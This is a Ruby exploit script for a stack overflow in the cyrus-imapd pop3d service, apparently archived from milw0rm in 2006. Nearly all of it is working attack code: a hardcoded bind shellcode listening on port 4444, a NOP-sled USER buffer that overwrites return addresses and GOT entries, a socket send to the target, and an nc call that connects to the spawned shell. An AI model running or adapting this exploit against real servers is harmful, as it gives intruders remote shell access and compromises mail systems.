#!/usr/bin/ruby
#
# cyrus-imapd pop3d exploit
# by bannedit
#
# 05/23/2006
# This exploit takes advantage of a stack based overflow.
# Once the stack corruption has occured it is possible
# to overwrite a pointer which is later used for a memcpy
# this gives us a write anything anywhere condition similar
# to a format string vulnerability.
#
# I choose to overwrite the GOT table with my shellcode and
# return to it. This defeats the VA random patch and possibly
# other stack protection features.
#
# tested on gentoo-sources linux 2.6.16
require 'socket'
#will add targets for other linux distros
targets = { 'linux 2.6' => '0x080fd318', 'linux 2.6 Hardened' => '', 'freebsd' => '' }
#metasploit bind shellcode by skape 84 bytes port 4444#
shellcode =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"+
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"+
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"+
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"+
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+
"\x89\xe1\xcd\x80"
puts "--[cyrus imapd pop3 popsubfolders exploit"
puts "----[by bannedit"
puts "-----------------------------------------"
case ARGV.length
when 0
puts "--- ./exploit [host] [options]"
exit
when 1
sock = TCPSocket.new(ARGV[0], "pop3")
when 2
sock = TCPSocket.new(ARGV[0], "pop3")
ret = ARGV[1].hex
end
ret = (targets['linux 2.6'].hex)
puts "<- " + banner = sock.gets
puts "-> sending USER command"
printf " injecting shellcode: %d bytes\n", shellcode.length
#this alignment stuff should probably be cleaned up its kinda icky#
evil_buff = "USER "
evil_buff <<"\x90" * 265 #(290 - shellcode.length)
evil_buff << ([ret].pack('V')) * 2 #return address
evil_buff <<"\x90" * (250 - shellcode.length)
evil_buff << shellcode
evil_buff <<"\x90" * (29)
ret = ret - 277
evil_buff << ([ret].pack('V')) * 4 #0x080fd204
evil_buff <<"\r\n"
sock.send(evil_buff, 0)
sleep 9
puts " attempting to connect to #{ARGV[0]} port 4444"
cmd = "nc #{ARGV[0]} 4444"
system(cmd)
sock.close
# milw0rm.com [2006-07-21]